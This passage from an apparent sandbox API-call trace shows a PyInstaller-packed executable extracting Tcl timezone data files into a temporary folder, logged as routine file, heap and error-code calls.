(hostlong=0x8e000000) returned 0x8e [0041.167] htonl (hostlong=0xba000000) returned 0xba [0041.167] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.167] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.167] CloseHandle (hObject=0x10c) returned 1 [0041.167] GetLastError () returned 0x0 [0041.167] SetLastError (dwErrCode=0x0) [0041.167] GetLastError () returned 0x0 [0041.167] SetLastError (dwErrCode=0x0) [0041.167] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.167] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.167] GetFileType (hFile=0x10c) returned 0x1 [0041.167] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.167] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.167] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.167] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.168] CloseHandle (hObject=0x10c) returned 1 [0041.168] GetLastError () returned 0x0 [0041.168] SetLastError (dwErrCode=0x0) [0041.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.168] GetFileType (hFile=0x10c) returned 0x1 [0041.168] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.168] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.168] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.168] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.168] CloseHandle (hObject=0x10c) returned 1 [0041.168] GetLastError () returned 0x0 [0041.168] SetLastError (dwErrCode=0x0) [0041.168] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil") returned 63 [0041.168] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.169] GetFileType (hFile=0x10c) returned 0x1 [0041.169] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.169] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.169] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.169] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.169] CloseHandle (hObject=0x10c) returned 1 [0041.169] GetLastError () returned 0x0 [0041.169] SetLastError (dwErrCode=0x0) [0041.169] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\East") returned 68 [0041.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\East" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\east"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.169] GetLastError () returned 0x2 [0041.169] SetLastError (dwErrCode=0x2) [0041.169] GetLastError () returned 0x2 [0041.170] SetLastError (dwErrCode=0x2) [0041.170] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\East", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\East", lpFilePart=0x0) returned 0x43 [0041.170] GetLastError () returned 0x2 [0041.170] SetLastError (dwErrCode=0x2) [0041.170] GetLastError () returned 0x2 [0041.170] SetLastError (dwErrCode=0x2) [0041.170] GetLastError () returned 0x2 [0041.170] SetLastError (dwErrCode=0x2) [0041.170] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\East") returned 68 [0041.170] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.170] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\East" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\east"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.171] GetFileType (hFile=0x10c) returned 0x1 [0041.172] htonl (hostlong=0xba000000) returned 0xba [0041.172] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.172] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xba, lpOverlapped=0x0) returned 1 [0041.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.173] CloseHandle (hObject=0x10c) returned 1 [0041.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55df18 | out: hHeap=0x530000) returned 1 [0041.173] htonl (hostlong=0x30000000) returned 0x30 [0041.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.173] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.173] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.173] GetFileType (hFile=0x10c) returned 0x1 [0041.173] htonl (hostlong=0xa6935b00) returned 0x5b93a6 [0041.173] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6043a6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.173] htonl (hostlong=0x8b000000) returned 0x8b [0041.173] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0041.173] htonl (hostlong=0x8b000000) returned 0x8b [0041.173] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.173] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.173] htonl (hostlong=0xb1000000) returned 0xb1 [0041.173] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb1) returned 0x550600 [0041.173] htonl (hostlong=0x8b000000) returned 0x8b [0041.173] htonl (hostlong=0xb1000000) returned 0xb1 [0041.173] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0041.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0041.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0041.173] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.173] CloseHandle (hObject=0x10c) returned 1 [0041.174] GetLastError () returned 0x0 [0041.174] SetLastError (dwErrCode=0x0) [0041.174] GetLastError () returned 0x0 [0041.174] SetLastError (dwErrCode=0x0) [0041.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.174] GetFileType (hFile=0x10c) returned 0x1 [0041.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.174] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.174] CloseHandle (hObject=0x10c) returned 1 [0041.174] GetLastError () returned 0x0 [0041.174] SetLastError (dwErrCode=0x0) [0041.174] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0041.174] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.174] GetFileType (hFile=0x10c) returned 0x1 [0041.174] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.174] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.174] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.175] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.175] CloseHandle (hObject=0x10c) returned 1 [0041.175] GetLastError () returned 0x0 [0041.175] SetLastError (dwErrCode=0x0) [0041.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil") returned 63 [0041.175] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.175] GetFileType (hFile=0x10c) returned 0x1 [0041.175] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0041.175] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0041.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0041.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0041.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.175] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0041.175] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0041.175] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0041.175] CloseHandle (hObject=0x10c) returned 1 [0041.175] GetLastError () returned 0x0 [0041.175] SetLastError (dwErrCode=0x0) [0041.175] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\West") returned 68 [0041.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\West" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\west"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0041.176] GetLastError () returned 0x2 [0041.176] SetLastError (dwErrCode=0x2) [0041.176] GetLastError () returned 0x2 [0041.176] SetLastError (dwErrCode=0x2) [0041.176] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\West", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\West", lpFilePart=0x0) returned 0x43 [0041.176] GetLastError () returned 0x2 [0041.176] SetLastError (dwErrCode=0x2) [0041.176] GetLastError () returned 0x2 [0041.176] SetLastError (dwErrCode=0x2) [0041.176] GetLastError () returned 0x2 [0041.176] SetLastError (dwErrCode=0x2) [0041.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\West") returned 68 [0041.176] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0041.176] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Brazil\\West" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\brazil\\west"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.176] GetFileType (hFile=0x10c) returned 0x1 [0041.176] htonl (hostlong=0xb1000000) returned 0xb1 [0041.176] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.176] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xb1, lpOverlapped=0x0) returned 1 [0041.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.177] CloseHandle (hObject=0x10c) returned 1 [0041.177] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.177] htonl (hostlong=0x30000000) returned 0x30 [0041.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0041.177] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0041.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0041.178] GetFileType (hFile=0x10c) returned 0x1 [0041.178] htonl (hostlong=0x31945b00) returned 0x5b9431 [0041.178] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x604431, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0041.178] htonl (hostlong=0x60000) returned 0x600 [0041.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x600) returned 0x550600 [0041.178] htonl (hostlong=0x60000) returned 0x600 [0041.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0041.178] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0041.178] htonl (hostlong=0x2f1d0000) returned 0x1d2f [0041.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1d2f) returned 0x561090 [0041.178] htonl (hostlong=0x60000) returned 0x600 [0041.178] htonl (hostlong=0x2f1d0000) returned 0x1d2f [0041.178] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562dc8 [0041.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562dc8 | out: hHeap=0x530000) returned 1 [0041.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0041.178] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0041.178] CloseHandle (hObject=0x10c) returned 1 [0041.178] GetLastError () returned 0x0 [0041.178] SetLastError (dwErrCode=0x0) [0041.178] GetLastError () returned 0x0 [0041.178] SetLastError (dwErrCode=0x0) [0041.178] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0041.178] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0041.178] GetFileType (hFile=0x10c) returned 0x1 [0041.178] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: 